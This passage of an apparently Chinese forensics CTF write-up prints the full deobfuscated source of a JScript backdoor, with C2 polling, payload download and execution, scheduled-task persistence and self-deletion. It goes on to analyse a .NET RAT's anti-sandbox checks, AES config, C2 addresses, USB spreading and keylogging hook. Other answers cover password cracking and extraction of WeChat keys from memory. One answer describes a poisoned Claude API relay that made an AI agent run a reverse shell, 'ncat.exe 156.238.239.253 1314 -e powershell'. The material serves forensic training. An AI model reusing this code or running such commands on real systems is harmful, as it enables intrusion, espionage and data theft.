while (Rj3c.length % (y1qa ? 4 : 8) != 0) Rj3c += "=";
return Rj3c;
}
// --- 字符映射表 (用于字符集转换) ---
var b92A = [];
b92A['C7'] = '80'; b92A['FC'] = '81'; b92A['E9'] = '82'; b92A['E2'] = '83'; b92A['E4'] = '84';
b92A['E0'] = '85'; b92A['E5'] = '86'; b92A['E7'] = '87'; b92A['EA'] = '88'; b92A['EB'] = '89';
b92A['E8'] = '8A'; b92A['EF'] = '8B'; b92A['EE'] = '8C'; b92A['EC'] = '8D'; b92A['C4'] = '8E';
b92A['C5'] = '8F'; b92A['C9'] = '90'; b92A['E6'] = '91'; b92A['C6'] = '92'; b92A['F4'] = '93';
b92A['F6'] = '94'; b92A['F2'] = '95'; b92A['FB'] = '96'; b92A['F9'] = '97'; b92A['FF'] = '98';
b92A['D6'] = '99'; b92A['DC'] = '9A'; b92A['A2'] = '9B'; b92A['A3'] = '9C'; b92A['A5'] = '9D';
b92A['20A7'] = '9E'; b92A['192'] = '9F'; b92A['E1'] = 'A0'; b92A['ED'] = 'A1'; b92A['F3'] = 'A2';
b92A['FA'] = 'A3'; b92A['F1'] = 'A4'; b92A['D1'] = 'A5'; b92A['AA'] = 'A6'; b92A['BA'] = 'A7';
b92A['BF'] = 'A8'; b92A['2310'] = 'A9'; b92A['AC'] = 'AA'; b92A['BD'] = 'AB'; b92A['BC'] = 'AC';
b92A['A1'] = 'AD'; b92A['AB'] = 'AE'; b92A['BB'] = 'AF'; b92A['2591'] = 'B0'; b92A['2592'] = 'B1';
b92A['2593'] = 'B2'; b92A['2502'] = 'B3'; b92A['2524'] = 'B4'; b92A['2561'] = 'B5'; b92A['2562'] = 'B6';
b92A['2556'] = 'B7'; b92A['2555'] = 'B8'; b92A['2563'] = 'B9'; b92A['2551'] = 'BA'; b92A['2557'] = 'BB';
b92A['255D'] = 'BC'; b92A['255C'] = 'BD'; b92A['255B'] = 'BE'; b92A['2510'] = 'BF'; b92A['2514'] = 'C0';
b92A['2534'] = 'C1'; b92A['252C'] = 'C2'; b92A['251C'] = 'C3'; b92A['2500'] = 'C4'; b92A['253C'] = 'C5';
b92A['255E'] = 'C6'; b92A['255F'] = 'C7'; b92A['255A'] = 'C8'; b92A['2554'] = 'C9'; b92A['2569'] = 'CA';
b92A['2566'] = 'CB'; b92A['2560'] = 'CC'; b92A['2550'] = 'CD'; b92A['256C'] = 'CE'; b92A['2567'] = 'CF';
b92A['2568'] = 'D0'; b92A['2564'] = 'D1'; b92A['2565'] = 'D2'; b92A['2559'] = 'D3'; b92A['2558'] = 'D4';
b92A['2552'] = 'D5'; b92A['2553'] = 'D6'; b92A['256B'] = 'D7'; b92A['256A'] = 'D8'; b92A['2518'] = 'D9';
b92A['250C'] = 'DA'; b92A['2588'] = 'DB'; b92A['2584'] = 'DC'; b92A['258C'] = 'DD'; b92A['2590'] = 'DE';
b92A['2580'] = 'DF'; b92A['3B1'] = 'E0'; b92A['DF'] = 'E1'; b92A['393'] = 'E2'; b92A['3C0'] = 'E3';
b92A['3A3'] = 'E4'; b92A['3C3'] = 'E5'; b92A['B5'] = 'E6'; b92A['3C4'] = 'E7'; b92A['3A6'] = 'E8';
b92A['398'] = 'E9'; b92A['3A9'] = 'EA'; b92A['3B4'] = 'EB'; b92A['221E'] = 'EC'; b92A['3C6'] = 'ED';
b92A['3B5'] = 'EE'; b92A['2229'] = 'EF'; b92A['2261'] = 'F0'; b92A['B1'] = 'F1'; b92A['2265'] = 'F2';
b92A['2264'] = 'F3'; b92A['2320'] = 'F4'; b92A['2321'] = 'F5'; b92A['F7'] = 'F6'; b92A['2248'] = 'F7';
b92A['B0'] = 'F8'; b92A['2219'] = 'F9'; b92A['B7'] = 'FA'; b92A['221A'] = 'FB'; b92A['207F'] = 'FC';
b92A['B2'] = 'FD'; b92A['25A0'] = 'FE'; b92A['A0'] = 'FF';
// --- 随机化与初始化 ---
function TfOh() {
var ayuh = Math.ceil(Math.random() * 10 + 25);
var name = String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
var dc9V = WScript.CreateObject("WScript.Network");
w5mY = dc9V.UserName;
for (var count = 0; count < ayuh; count++) {
switch (Math.ceil(Math.random() * 3)) {
case 1:
name = name + Math.ceil(Math.random() * 8);
break;
case 2:
name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 97));
break;
default:
name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
break;
}
}
return name;
}
// --- 核心逻辑:主循环与 C2 通信 ---
var wyKN = Blgx(bIdG());
try {
var WE86 = bIdG();
rGcR();
jSm8();
} catch (e) {
WScript.Quit();
}
function jSm8() {
var c9lr = Fv6b();
while (true) {
for (var i = 0; i < CKpR.length; i++) {
var Ysyo = CKpR[i];
var f3cb = XEWG(Ysyo, c9lr);
switch (f3cb) {
case "good":
break;
case "exit":
WScript.Quit();
break;
case "work":
XBL3(Ysyo);
break;
case "fail":
tbMu();
break;
default:
break;
}
TfOh();
}
WScript.Sleep((Math.random() * 300 + 3600) * 1000);
}
}
// --- 对象创建与工具函数 ---
function bIdG() {
var spq3 = this['ActiveXObject'];
var zBVv = new spq3('WScript.Shell');
return zBVv;
}
function XBL3(B_TG) {
var YIme = wyKN + LIxF.substring(0, LIxF.length - 2) + "pif";
var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post", B_TG, false);
Kpxo.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + Sz8k());
Kpxo.SETREQUESTHEADER("content-type:", "application/octet-stream");
Kpxo.SETREQUESTHEADER("content-length:", "4");
Kpxo.SEND("work");
if (QUjy.FILEEXISTS(YIme)) {
QUjy.DELETEFILE(YIme);
}
if (Kpxo.STATUS == 200) {
var m3mH = new ActiveXObject("ADODB.STREAM");
m3mH.TYPE = 1;
m3mH.OPEN();
m3mH.WRITE(Kpxo.responseBody);
m3mH.Position = 0;
m3mH.Type = 2;
m3mH.CharSet = "437";
var c0xi = m3mH.ReadText(m3mH.Size);
var ptF0 = FXx9("2f532d6baec3d0ec7b1f98aed4774843", cz_b(c0xi));
NoRS(ptF0, YIme);
m3mH.Close();
}
var ruGx = TfOh();
c5ae(YIme, B_TG);
WScript.Sleep(30000);
QUjy.DELETEFILE(YIme);
}
// --- 反分析与自杀机制 ---
function tbMu() {
QUjy.DELETEFILE(WScript.SCRIPTFULLNAME);
eV_C("TaskManager", "Windows Task Manager", w5mY, v_FileName, "EzZETcSXyKAdF_e5I2i1", wyKN, false);
KhDn("TaskManager");
WScript.Quit();
}
// --- 网络通信 ---
function XEWG(uXHK, hm2j) {
try {
var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post", uXHK, false);
Kpxo.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + Sz8k());
Kpxo.SETREQUESTHEADER("content-type:", "application/octet-stream");
var rRi3 = hLit(hm2j, true);
Kpxo.SETREQUESTHEADER("content-length:", rRi3.length);
Kpxo.SEND(rRi3);
return Kpxo.responseText;
} catch (e) {
return "";
}
}
// --- 生成指纹/标识 ---
function Sz8k() {
var n9mV = "";
var dc9V = WScript.CreateObject("WScript.Network");
var rRi3 = tpO8 + dc9V.ComputerName + w5mY;
for (var i = 0; i < 16; i++) {
var YsXA = 0
for (var j = i; j < rRi3.length - 1; j++) {
YsXA = YsXA ^ rRi3.charCodeAt(j);
}
YsXA = (YsXA % 10);
n9mV = n9mV + YsXA.toString(10);
}
n9mV = n9mV + tpO8;
return n9mV;
}
// --- 持久化与伪装 ---
function rGcR() {
v_FileName = wyKN + LIxF.substring(0, LIxF.length - 2) + "js";
QUjy.COPYFILE(WScript.ScriptFullName, wyKN + LIxF);
var HFp7 = (Math.random() * 150 + 350) * 1000;
WScript.Sleep(HFp7);
eV_C("TaskManager", "Windows Task Manager", w5mY, v_FileName, "EzZETcSXyKAdF_e5I2i1", wyKN, true);
}
// --- 信息收集 ---
function Fv6b() {
var m_Rr = wyKN + "~dat.tmp";
for (var i = 0; i < auME.length; i++) {
WE86.Run("cmd.exe /c " + auME[i] + "\"" + m_Rr + "\"", 0, true);
}
var nRVN = UspD(m_Rr);
WScript.Sleep(1000);
QUjy.DELETEFILE(m_Rr);
return FXx9("2f532d6baec3d0ec7b1f98aed4774843", nRVN);
}
// --- 执行下载的文件 ---
function c5ae(YIme, B_TG) {
try {
if (QUjy.FILEEXISTS(YIme)) {
WE86.Run("\"" + YIme + "\"");
}
} catch (e) {
var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post", B_TG, false);
var ePMy = "error";
Kpxo.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + Sz8k());
Kpxo.SETREQUESTHEADER("content-type:", "application/octet-stream");
Kpxo.SETREQUESTHEADER("content-length:", ePMy.length);
Kpxo.SEND(ePMy);
return "";
}
}
// --- 十六进制转换 ---
function RPbY(r_X5) {
var w8rG = "0123456789ABCDEF";
var yjrw = w8rG.substr(r_X5 & 15, 1);
while (r_X5 > 15) {
r_X5 >>>= 4;
yjrw = w8rG.substr(r_X5 & 15, 1) + yjrw;
}
return yjrw;
}
// --- 解析十六进制 ---
function NptO(jlEi) {
return parseInt(jlEi, 16);
}
// --- 任务计划创建 (持久化) ---
function eV_C(Bjmr, RT6x, O7Ec, YBwP, T9Px, egNr, rmGH) {
try {
var BGfI = WScript.CreateObject("Schedule.Service");
BGfI.Connect();
var w2cQ = BGfI.GetFolder("WPD");
var xSm3 = BGfI.NewTask(0);
xSm3.Principal.UserId = O7Ec;
xSm3.Principal.LogonType = 6;
var wK2F = xSm3.RegistrationInfo;
wK2F.Description = RT6x;
wK2F.Author = O7Ec;
var aYbx = xSm3.Settings;
aYbx.Enabled = true;
aYbx.StartWhenAvailable = true;
aYbx.Hidden = rmGH;
var oSP7 = "2015-07-12T11:47:24";
var svaG = "2020-03-21T08:00:00";
var LDoN = xSm3.Triggers;
var r9EC = LDoN.Create(9);
r9EC.StartBoundary = oSP7;
r9EC.EndBoundary = svaG;
r9EC.Id = "LogonTriggerId";
r9EC.UserId = O7Ec;
r9EC.Enabled = true;
var gQu9 = xSm3.Actions.Create(0);
gQu9.Path = YBwP;
gQu9.Arguments = T9Px;
gQu9.WorkingDirectory = egNr;
w2cQ.RegisterTaskDefinition(Bjmr, xSm3, 6, "", "", 3);
return true;
} catch (Err) {
return false;
}
}
47. 【填空题】接上题,当C2服务器返回 "work" 指令时,脚本下载并执行的最终文件扩展名是什么?【答案格式:exe】
pif
目标文件名变量 YIme 最后拼接的是 "pif",下载后的内容会被解密并保存到这个路径,然后调用执行,所以最终扩展名是 pif。

48. 【填空题】接上题,如果与C2通信失败,脚本会调用哪个函数尝试自毁并清理痕迹?【答案格式:Aabc】
tbMu


49. 【填空题】请分析早起王的PC镜像,该PC中neo4j数据库的密码是多少?【答案格式:abc3】
1qazxsw2
在图片中找到一张图片,从名称就看出来这是个可疑的文件

这张图片是个盲水印,根本想不到neo4j的密码能在这里

50. 【填空题】根据早起王笔录内容,早起王曾经对某企业进行过渗透攻击,请分析域内实体关系,FILESERVER.XIAORANG.LAB 对 XIAORANG.LAB 域拥有什么控制权限?【答案格式:ABCabc】
DCSync
容器里有BloodHound(账号密码为neo4j/1qazxsw2)和neo4j,打开看看,发现没东西

没使用还没有用U盘,在U盘上看到几个文件

这里有个SharpHound工具生成的数据收集结果的压缩包,将他导入到BloodHound中

分析路径即可

51. 【填空题】根据早起王笔录内容,早起王在渗透过程中已成功控制ZHANGXIN@XIAORANG.LAB,请结合域内实体关系图分析,早起王获取域控权限的完整攻击轨迹是什么?【答案格式:XXXXXXXX@XXXXXXX.XXX->XXXXXXXXXX.XXXXXXX.XXX->XXXXXXXX.XXX】
ZHANGXIN@XIAORANG.LAB >FILESERVER.XIAORANG.LAB >XIAORANG.LAB
分析路径

52. 【填空题】早起王在PC中记录过自己的犯罪动机并对其进行加密,请使用社工的方式破解加密文件,并提交密码。【答案格式:aabc3**】
Zqw20040101!
犯罪动机很可能是桌面上的这个压缩文件,毕竟文件名摆在这

既然是社工方式,那就得找个人信息,在文档处可以看到有一份简历
然后之前那个日记密码跟姓名和出生日期有关,这次把月和日也加上,用tscan生产个字典

然后字典爆破一下


解压之后打开看看,太泪目了

倩倩的电脑
53. 【填空题】早起王曾给倩倩发送过一封钓鱼邮件,请找到并计算附件MD5值【答案格式:字母不区分大小写】
5436b61ea58adb794804e3f18ce53f2a
只有一个附件

导出计算一下

54. 【填空题】接上题,编译木马使用的.NET版本是多少?【答案格式:1.1.45141】
4.0.30319
用die可以直接查看
55. 【填空题】接上题,木马中有多少反沙箱和反调试的检测逻辑?【答案格式:8】
5
不太会看反编译的代码,直接用dnSpymcp了
解析过程:
- 使用dnSpy工具加载xWmDDA程序,通过 list_types 工具查看程序类型列表。
- 定位到
Stub.oQm0xzosrWM7CGTCsMZCODumwvt5ODG1drdBoIeM03A6xt9SK5NFYiMYXb1U类的8CBqemw89u44xYPchu85qRf8t1Kb7MrSwSSHdIK7O7VNarcvrvMnWLsldBYa方法(主入口点)。 - 该方法调用了
AuPSZXXVSMF0DQRCvC2rt5MfcrYC48o7KO1SI69og2JLhf02Th6Xma2HOysY方法,该方法串联了5个反沙箱/反调试检测函数:Mi6spCUvppp4DtgyuvMzJhDBJsveVBG9zeD8c1kQXdScZVgnMViFJzIwncYfWRaCuUs0darWmS0uW4ndY5RkKqmDAG78:WMI检测虚拟机厂商/型号(qemu/VirtualBox/Microsoft Virtual)ekfERkJzvPUVc9xQ7RadvF87hIVFUbAaixRJaKzHcRjz6UQErCZPPcp2QVwluQOmYuWHUC5yKellGaX2R5rdbv4oYJoe:使用CheckRemoteDebuggerPresent检测调试状态2roByDJH6ZwpyyMdfAo4PFI3PqRqzn0PSxC5Zg4kzrh6PUEFGOozNDZH3SKF4M1wI6K9GZ1nL6cPaKJJYpNJSKRzaheb:使用GetModuleHandle("SbieDll.dll")检测Sandboxie环境nIHJ1ssdguWOmBZEjwm4ZTWC6RpznK4TffpH05TZr9zRIsVfLweHMOElWw68:检测OS名称是否包含"xp"pP3jQ2G5fRQOBkR4RuG4ivhEGAqezIt7vqpAJDH5RetSUjBUu1dokMPle3i3:访问ip-api.com的hosting标志检测是否在托管环境中
- 任意一个检测命中,木马都会执行 Environment.FailFast(null) 终止进程。
56. 【填空题】接上题,木马为获得提升的权限执行而创建的计划任务名称是什么?【答案格式:Netlogon】
WmiPrvSE
解析过程:
- 在
Stub.oQm0xzosrWM7CGTCsMZCODumwvt5ODG1drdBoIeM03A6xt9SK5NFYiMYXb1U.8CBqemw89u44xYPchu85qRf8t1Kb7MrSwSSHdIK7O7VNarcvrvMnWLsldBYa方法中,发现构造了schtasks.exe的参数:
processStartInfo.Arguments = string.Concat(new string[]
{
"/create /f /RL HIGHEST /sc minute /mo 1 /tn \"",
Path.GetFileNameWithoutExtension(NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq.EB5J4sIzfH74BwfgRjacCtnEuNWFxu93z57nr4HrttTW5asXOhadv7pC7YFu),
"\" /tr \"",
text,
"\""
});
- 分析
NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq类的静态构造函数,发现EB5J4sIzfH74BwfgRjacCtnEuNWFxu93z57nr4HrttTW5asXOhadv7pC7YFu字段被初始化为加密字符串: sJHKF5x7kjxy85oLMym05A== 。 - 通过分析 Stub.yEA8oSg5e02FNWc6DpGE.f5Mo9y1FK1yJy4poW9CE 方法,使用AES-ECB算法解密该字符串,得到 WmiPrvSE.exe 。
- 去扩展名后,计划任务名称为 WmiPrvSE 。
57. 【填空题】接上题,木马使用哪种加密算法来加密或混淆其配置数据?【答案格式:BASE64】
AES
- 分析 Stub.yEA8oSg5e02FNWc6DpGE.f5Mo9y1FK1yJy4poW9CE 方法,发现以下关键代码:
- 代码中使用了 RijndaelManaged 类,这是AES算法的实现。
- 加密过程:使用MD5哈希硬编码字符串生成32字节密钥,使用ECB模式解密Base64编码的配置数据。
58. 【填空题】接上题,为了获取其加密算法的某个参数,木马使用一个硬编码字符串作为输入。这个硬编码字符串的值是多少?【答案格式:uwbf4=wNfw】
8xTJ0EKPuiQsJVaT
- 定义位置: NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq.cs:25
public static string DhMybcleyUJ8bZbaqtAkL3FTz6SQ840xELBsFWt9yekNCVYQ1WgRtjL1bTF3 = "8xTJ0EKPuiQsJVaT";
被使用的位置:
- yEA8oSg5e02FNWc6DpGE.cs:14
byte[] sourceArray = mD5CryptoServiceProvider.ComputeHash(
ACX0qTJz...wVkaAAeCf6BeWi8Flwtq(NB2mi1...DhMybcle...)
);
59. 【填空题】接上题,木马回连的ip地址有哪些?【按照木马中原始的顺序写入,答案用,隔开,格式:114.114.114.114,8.8.8.8,1.1.1.1】
156.238.239.253,66.175.239.149,185.117.249.43
- 配置常量定义: NB2mi1...cs:5
public static string ZIDZvDLAFbRYxsxkwMl1lB7DELyeP0rfiJNEILKuap1H9eXgbiPbiwGYX2g2 = "b7lP9DKXK17yU4FBIMvdZYYT7q1ogMGVrgjUqWnzqLxMXw3GIeVZpids5gIz2YZu";
使用函数:
u9706OVQm3F7ADJJyDV85Ea7OQFIveDAEfezQ8YXy7JEm0WUrIUs6v97sMf4cGt3Y8K9zXPDvKXTgvtlmqql8QcZG9oQ- MUaDlUN9...cs:48
string text = NB2mi1...ZIDZvDL....Split(',')[new Random().Next(...)];
同函数内解析和尝试连接:
IPAddress[] hostAddresses = Dns.GetHostAddresses(text);
foreach (IPAddress iPAddress in array)
{
_2SVwEro2...(iPAddress.ToString());
}
按该样本同一套解密逻辑复原,原始顺序即:
- 156.238.239.253,66.175.239.149,185.117.249.43
60. 【填空题】接上题,木马回连的C2通信端口是多少?【答案格式:11451】
7000
解析过程:
- 在
NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq类的静态构造函数中,发现PjOzPaAZem6YRSiY73iqOnuhSIsTpJmmeYR23TelLywq50KJA7ITRso6eQWj字段被初始化为加密字符串: 3qBjH4yDUHjhZBxWK56eYw== 。 - 使用 Stub.yEA8oSg5e02FNWc6DpGE.f5Mo9y1FK1yJy4poW9CE 方法解密该字符串,得到回连端口: 7000
61. 【填空题】接上题,该木马通过将自身复制到可移动设备上来传播。在每个受感染设备上创建的新副本的名称是什么?【答案格式:dwm.exe】
USB.exe
解析过程:
- 分析
VRti6vhPYugo9GdL3aQYj2eDRdhSfKIazXyfNr18qkYGBHO0iTkiZoRtMwtI7vEZAaW8tYfk5m7J2.oXAUverEkn3LAFv6enuVZPjP25NAIAb6gydo8yzlQ3nHid4F58NM7IcXiFXorwNtYk82lvGcvQeSQ方法,发现其启动了一个线程执行8JW8sctAWP3goappjN57CJl2TLWyKcTw2ZYwj5rr18XOfs8ItKA8LpXmObthOBfOKEBBELi8RAE3J方法。 - 在
8JW8sctAWP3goappjN57CJl2TLWyKcTw2ZYwj5rr18XOfs8ItKA8LpXmObthOBfOKEBBELi8RAE3J方法中,发现以下代码:
if (!File.Exists(name + NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq.s6qNUlBh1I6DXfxJKXLS8vMqDb2zNIYNi5hhilJnX0Mbzr8B4g6F0vguJvMV))
{
File.WriteAllBytes(name + NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq.s6qNUlBh1I6DXfxJKXLS8vMqDb2zNIYNi5hhilJnX0Mbzr8B4g6F0vguJvMV, File.ReadAllBytes(ACX0qTJzEzq40qP5qFxb.8qqIc9C1rZ7T3TBLTgSV));
File.SetAttributes(name + NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq.s6qNUlBh1I6DXfxJKXLS8vMqDb2zNIYNi5hhilJnX0Mbzr8B4g6F0vguJvMV, FileAttributes.Hidden | FileAttributes.System);
}
- 分析
NB2mi1VBTSN5U40DfEsDcrzgxWCrxt7i1yCoMW0Zb5dK9QwIjZ6W6wYeHriq类的静态构造函数,发现s6qNUlBh1I6DXfxJKXLS8vMqDb2zNIYNi5hhilJnX0Mbzr8B4g6F0vguJvMV字段被初始化为加密字符串: lXEVYeoDw31nYYF2ts9aUQ== 。 - 使用 Stub.yEA8oSg5e02FNWc6DpGE.f5Mo9y1FK1yJy4poW9CE 方法解密该字符串,得到可移动设备传播的文件名称: USB.exe 。
62. 【填空题】接上题,木马用来检测其是否在沙盒环境中运行的DLL的名称是什么?【答案格式:v50.dll】
SbieDll.dll
- 分析
Stub.oQm0xzosrWM7CGTCsMZCODumwvt5ODG1drdBoIeM03A6xt9SK5NFYiMYXb1U.2roByDJH6ZwpyyMdfAo4PFI3PqRqzn0PSxC5Zg4kzrh6PUEFGOozNDZH3SKF4M1wI6K9GZ1nL6cPaKJJYpNJSKRzaheb方法,发现以下代码:
private static bool 2roByDJH6ZwpyyMdfAo4PFI3PqRqzn0PSxC5Zg4kzrh6PUEFGOozNDZH3SKF4M1wI6K9GZ1nL6cPaKJJYpNJSKRzaheb()
{
bool result;
try
{
if (oQm0xzosrWM7CGTCsMZCODumwvt5ODG1drdBoIeM03A6xt9SK5NFYiMYXb1U.rgXTs7mD5xW0pNhvBEkl5gT1M7CxjhLt6BgegsGiceVXuORoR8HLqgV1rzHGXir1sd7268MbWZoyrYKQyiCFBZDlhGy0("SbieDll.dll").ToInt32() != 0)
{
result = true;
}
else
{
result = false;
}
}
catch (Exception ex)
{
result = false;
}
return result;
}
- 该方法通过 GetModuleHandle("SbieDll.dll") 检测Sandboxie环境, SbieDll.dll 是Sandboxie的特征DLL文件。
63. 【填空题】接上题,木马操纵的用于控制Windows资源管理器中隐藏项目可见性的注册表项名称是什么?【答案格式:AAAabc3】
ShowSuperHidden
- 分析
VRti6vhPYugo9GdL3aQYj2eDRdhSfKIazXyfNr18qkYGBHO0iTkiZoRtMwtI7vEZAaW8tYfk5m7J2.8JW8sctAWP3goappjN57CJl2TLWyKcTw2ZYwj5rr18XOfs8ItKA8LpXmObthOBfOKEBBELi8RAE3J方法,发现以下代码:
RegistryKey registryKey = MuC0Ek32S2qWYkJGK8MCDraE3NRaegV2ciWj85lpbnaytobXnqusBz1a9jJ9.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue("ShowSuperHidden"), 1, false))
{
registryKey.SetValue("ShowSuperHidden", 0);
}
- 该代码通过修改 Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced 注册表项的 ShowSuperHidden 值来控制Windows资源管理器中隐藏项目的可见性。当该值为0时,系统隐藏文件将不可见。
64. 【填空题】接上题,木马使用哪个API将其进程标记为关键进程?【答案格式:WNetAddConnection】
RtlSetProcessIsCritical
解析过程:
- 通过分析代码,发现木马使用
RtlSetProcessIsCriticalAPI将其进程标记为关键进程。 - 该API是Windows内核API,用于将进程标记为关键进程,当关键进程终止时,系统会蓝屏重启,从而增强木马的持久性,防止被轻易终止。
65. 【填空题】接上题,木马使用哪个API来捕获用户输入?【答案格式:WNetAddConnection】
SetWindowsHookEx
解析过程:
- 分析
Stub.kJx6L3azGytvvlpO5g4M7vFzwGBCSetM1yxXtBPEZEjmmDw8uu6Q82pIaJr4lKWmVXwocSYY9KQQd类的JKx38cy8TbFy5P5ttrQ9OLrthXtu96odVBXsmvxSn20Mt8RNga1E4WcryC9xOrWhaWouoY8gKqapQ方法,发现其调用了gbCd08rDfseGE3J0T9qVznuYeUvu0XNOFrPRHHHyWzDcQnAO1CcV8WSyatgkEErKTJu2YcRFpwveF方法。 - 在
gbCd08rDfseGE3J0T9qVznuYeUvu0XNOFrPRHHHyWzDcQnAO1CcV8WSyatgkEErKTJu2YcRFpwveF方法中,发现使用了SetWindowsHookExAPI:
result = kJx6L3azGytvvlpO5g4M7vFzwGBCSetM1yxXtBPEZEjmmDw8uu6Q82pIaJr4lKWmVXwocSYY9KQQd.v2H7UaTp8QLeiqSYflzi3sclFElatUojEHCwvOIoXHXii3FlZocIVLQx9c8vO5vW9iL6KiRzIfUyn(kJx6L3azGytvvlpO5g4M7vFzwGBCSetM1yxXtBPEZEjmmDw8uu6Q82pIaJr4lKWmVXwocSYY9KQQd.qngu7xoZGGhpg5AVMmig, 1tRWwlzbXNw6PEsYFXIGRwRqm13BMnsL0N6R09MjfgJOpIh7o5E3RYCfV6pvVtGnKxt8aQ9HVaixH, kJx6L3azGytvvlpO5g4M7vFzwGBCSetM1yxXtBPEZEjmmDw8uu6Q82pIaJr4lKWmVXwocSYY9KQQd.RSAhvLEO2fyXUqWFA6aJ(currentProcess.ProcessName), 0U);
SetWindowsHookExAPI用于安装钩子过程,捕获用户输入,实现键盘记录等功能。
66. 【填空题】请分析倩倩的PC镜像,倩倩的电脑曾被api投毒过,请找出投毒后执行的的恶意命令。【答案格式:cmd.exe 172.0.0.1 22 -i hello】
ncat.exe 156.238.239.253 1314 -e powershell
api投毒,中转站的api为claude,在计算机刚好也找到个.claude文件夹

然后将全部导出让ai分析文件夹,在e08a2d72-f8cc-4b5a-a903-6f88b670572a.jsonl文件中看到指令

倩倩的内存镜像
67. 【填空题】请分析倩倩的PC内存镜像,识别当前正在运行且持有微信数据库解密密钥的微信进程,并提取该进程的进程标识符(PID)?【答案格式:1234】
10892
用火眼内存分析可以看到

68. 【填空题】请分析倩倩的PC内存镜像,请尝试解密微信数据库并写出message_0.db对应的微信密钥?【答案格式:60e248c9079f4bc14e256e0b65495e8688d7b342d43dc84a5f417f4097c9c792】
b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa
一个一个密钥试着解密
69. 【填空题】请分析倩倩的PC内存镜像,请找到正在运行的木马进程的进程标识符(PID)。【答案格式:1233】
7348

70. 【填空题】请分析倩倩的PC内存镜像,请找到正在运行的木马进程的创建时间(UTC)?【答案格式:2026-01-01 01:11:11】
2026-04-03 01:46:44
见上题
71. 【填空题】请分析倩倩的PC内存镜像,结合木马分析找出内存中回连的C2木马服务器的真实ip?【答案格式:127.0.0.1:8080】
156.238.239.253:7000
看到两个ip

根据木马分析部分可知是第一个

浙公网安备 33010602011771号